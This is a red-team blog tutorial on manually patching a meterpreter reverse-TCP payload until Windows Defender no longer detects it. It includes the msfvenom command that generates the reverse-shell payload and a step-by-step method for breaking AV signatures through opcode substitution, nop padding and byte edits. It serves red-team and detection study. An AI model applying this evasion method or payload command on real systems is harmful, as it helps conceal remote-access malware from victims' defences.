💀
0xTriboulet
  • Introduction
  • Achieving Access
    • achieving access: implantv1
    • achieving access: implantv2
    • achieving access: implantv3
  • Deceiving Defender
    • Deceiving Defender: Making nc.exe viable again
    • Deceiving Defender: Classic Bypass
    • Deceiving Defender: Name Bypass
    • Deceiving Defender: The Texas Two Step
    • Deceiving Defender: The Big Stack Bypass
      • Making Meterpreter Viable Again
    • Deceiving Defender: Meterpreter
  • Making Malware
    • making malware #0
    • making malware #1
    • making malware #2
  • Just Malicious
    • Advanced String Obfuscation
    • From C, with inline assembly, to shellcode
    • Thnks4RWX
  • TTPs
    • TTPs: Embedding Payloads with MSFVenom (x86)
    • TTPs: Embedding Payloads with MSFVenom (x64)
    • TTPs: Rust vs C++
    • TTPs: JmpNoCall
    • TTPs: BadAsm
    • TTPs: BadStrings
  • Unholy Unhooking
    • Unholy Unhooking: byoDLL
    • Unholy Unhooking: FrByoDLL
    • Unholy Unhooking: Rusty Fart
  • Weird Windows
    • Command Hijacking with .COM
    • Non-Existent File Paths
  • ZeroTotal
    • ZeroTotal: Msfvenom Calc
    • ZeroTotal: Self-Injecting Calc
    • ZeroTotal: Rusty Calc
  • Disclaimers
Powered by GitBook
On this page
  • Part One: Introduction
  • Part Two: Getting Started
  • Part Three: Making Changes
  • Part Five: Changing data
  • Part Six: ???
  • Part Seven: Profit
  • Part Eight: Conclusion
  • References:
  1. Deceiving Defender

Deceiving Defender: Meterpreter

Demonstrating manual manipulation of a meterpreter payload in order to bypass Windows Defender

PreviousMaking Meterpreter Viable AgainNextMaking Malware

Last updated 1 year ago

Part One: Introduction

In this installment of Deceiving Defender, we'll be manually manipulating a meterpreter payload in order to bypass Windows Defender detection.

If you're familiar with this blog, you'll remember that we applied a similar technique on an msfvenom calc and succeeded. Along the way, we learned a couple of things that will be useful as we approach this challenge.

  • BinaryNinja can be used to modify the payload

  • There are likely several signatured portions payload stub are the primary means of detecting the payload

  • Depending on how we modify these stubs we might have to modify some address offsets

Without further ado lets get started.

Part Two: Getting Started

We use the following command to generate a standard msfvenom meterpreter payload.

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT=9001 -f raw -o meterpreter_stageless_ORIG.bin

If we scan the binary with ThreatCheck we'll find that our payload is detected at the following bytes.

We open the .bin file in BinaryNinja and quickly find the bad bytes.

If we examine this portion of the code in split view, we can find that we're in ordinal_1 and we can see the assembly that we're going to have to modify.

Part Three: Making Changes

Generally, the approach I like to take when doing this is as follows:

  • Modify equivalent function opcodes

    • xor rax, rax == xor eax, eax

    • test eax, eax == cmp eax, 0

  • Modify null space with nops

    • Has no impact because the program shouldn't be in here anyway

  • Modify opcodes for near-equivalent functions. Sometimes we can get away with near-equivalent instructions :

    • 45 52 :: rex.RB push r10 ~ 41 52 :: push r10

  • Modify hardcoded constants, retain runtime equivalence through nop injection and offset recalculation

Some of these changes can break the functionality of our payload, so it's important that as we make these changes we constantly validate that our payload still functions.

Looking at the code snippet we have to change here, lets see if there are any quick changes we can make to break this signature.

Looking at the highlighted instructions, we know we can actually move those single byte constants into low bytes of eax instead of the entire eax register, that will save us a few bytes at each of these instructions and enable us to change the constants, and increment their value properly and break the Windows Defender signature.

The block of assembly we're in right now has approximately a dozen or so instructions we can modify in this way. Lets make some of those changes…

Afterwards our disassembly should look like this:

Luckily for us, our program has some interrupt instructions between the end of the current function, and the beginning of the next function our payload includes some interrupt instructions. This space between functions is sometimes called an intersegment gap, and is usually filled with nop, null-bytes, or in our case interrupts.

We can leverage this space to manipulate our function and generate just enough nops to break the signature without breaking our program, but it's going to take a little bit of work.

Looking at our disassembly output, we can see that we have 7 bytes to play with at the bottom of our function.

And another 7 bytes to play with at the top of our function. That gives us a total of 14 bytes to play with to build up some space and change some constants. Remember, modifying these bytes can potentailly break the stability of our payload, so constantly check that the payload works as intended.

We can shift things around a little bit and start buying ourselves some space.

And after some more careful shuffling around we have a function that ends like this

Now we can use the additional space we have to modify the constants in our function. This bit is pretty tedious so we won't dive into every aspect of it, but needless to say that the methodology applied is the same as above.

After making a few more changes, we're able to bypass Windows Defender detection at this offset...only to get detected at another offset.

Part Five: Changing data

If we take a look at the offset we find above, we find a data segment that looks like this:

One of the easiest things we can do here is change some null bytes to non-printable characters. If we're careful, we should be able to break the signature at this new offset and maintain a functional payload.

Part Six: ???

[Intentionally left blank]

Part Seven: Profit

And, it turns out to be an easier win than we thought. By simply changing a single byte, we break the signature, and retain a functioning payload!

Part Eight: Conclusion

In this writeup we demonstrated an effcient workflow for payload manipulation and successfully bypassed detection by Windows Defender on a Windows 10 system.

This methodology focused on the injection of bytes in order to manipulate existing payload instructions and beat the Windows Defender signature. We succeeded in our approach and retained a functioning meterpreter payload on a modern Windows 10 system with Windows Defender enabled.

Our approach was limited to opcode manipulation without considering the encoding or encryption options made availible by MSFVenom.

As this article is for demonstration purposes only, we chose to limit the scope of our efforts to a non-executable format in order to reduce the effort necessary to bypass AV detection.

References:

Red_Team_Code_Snippets/Assembly/Winx64/payloads/6.meterpreter at main · 0xTriboulet/Red_Team_Code_SnippetsGitHub
In x86 what's difference between "test eax,eax" and "cmp eax,0"Stack Overflow
21.3. Registers
Logo
GitHub - rasta-mouse/ThreatCheck: Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.GitHub
pe_to_shellcode/runshc at master · hasherezade/pe_to_shellcodeGitHub
X86-64 Instruction Encoding - OSDev Wiki
Logo
Online x86 and x64 Intel Instruction Assembler
Logo
Logo
Binary Ninja > homevector35
Logo
Logo
Logo
Page cover image
Logo